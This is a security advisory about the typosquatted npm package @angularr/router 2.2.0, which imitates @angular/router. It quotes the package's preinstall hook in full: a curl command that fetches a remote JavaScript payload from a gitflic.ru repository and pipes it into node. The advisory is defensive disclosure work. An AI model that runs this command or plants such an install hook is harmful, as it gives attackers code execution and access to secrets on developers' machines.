@angularr/router

GHSA-37mv-mqr9-gv2x

Malicious code in @angularr/router (npm)

Details

**Severity:** Critical

**Affected versions:** `= 2.2.0`

## Source: amazon-inspector (646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83)
The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from a third-party repository (gitflic.ru user `hellscripter`, proxied via web.archive.org) and piping it directly into Node for execution during `npm install`. The code executes with the installer's privileges before any package code is loaded. The package name `@angularr/router` (double-r) resembles `@angular/router`, while the shipped library code is a verbatim copy of pillarjs/router (unrelated to Angular) that serves as cover for the malicious lifecycle hook.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@angularr/router/MAL-2026-17494.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@angularr/router/MAL-2026-17494.json
- https://www.npmjs.com/package/@angularr/router/v/2.2.0
- https://github.com/ossf/malicious-packages/blob/7ee44994dad323ce5910731c56db21300729864a/osv/malicious/npm/@angularr/router/MAL-2026-17494.json
- https://www.npmjs.com/package/@angularr/router
- https://github.com/advisories/GHSA-37mv-mqr9-gv2x

Compromised versions (1)

= 2.2.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.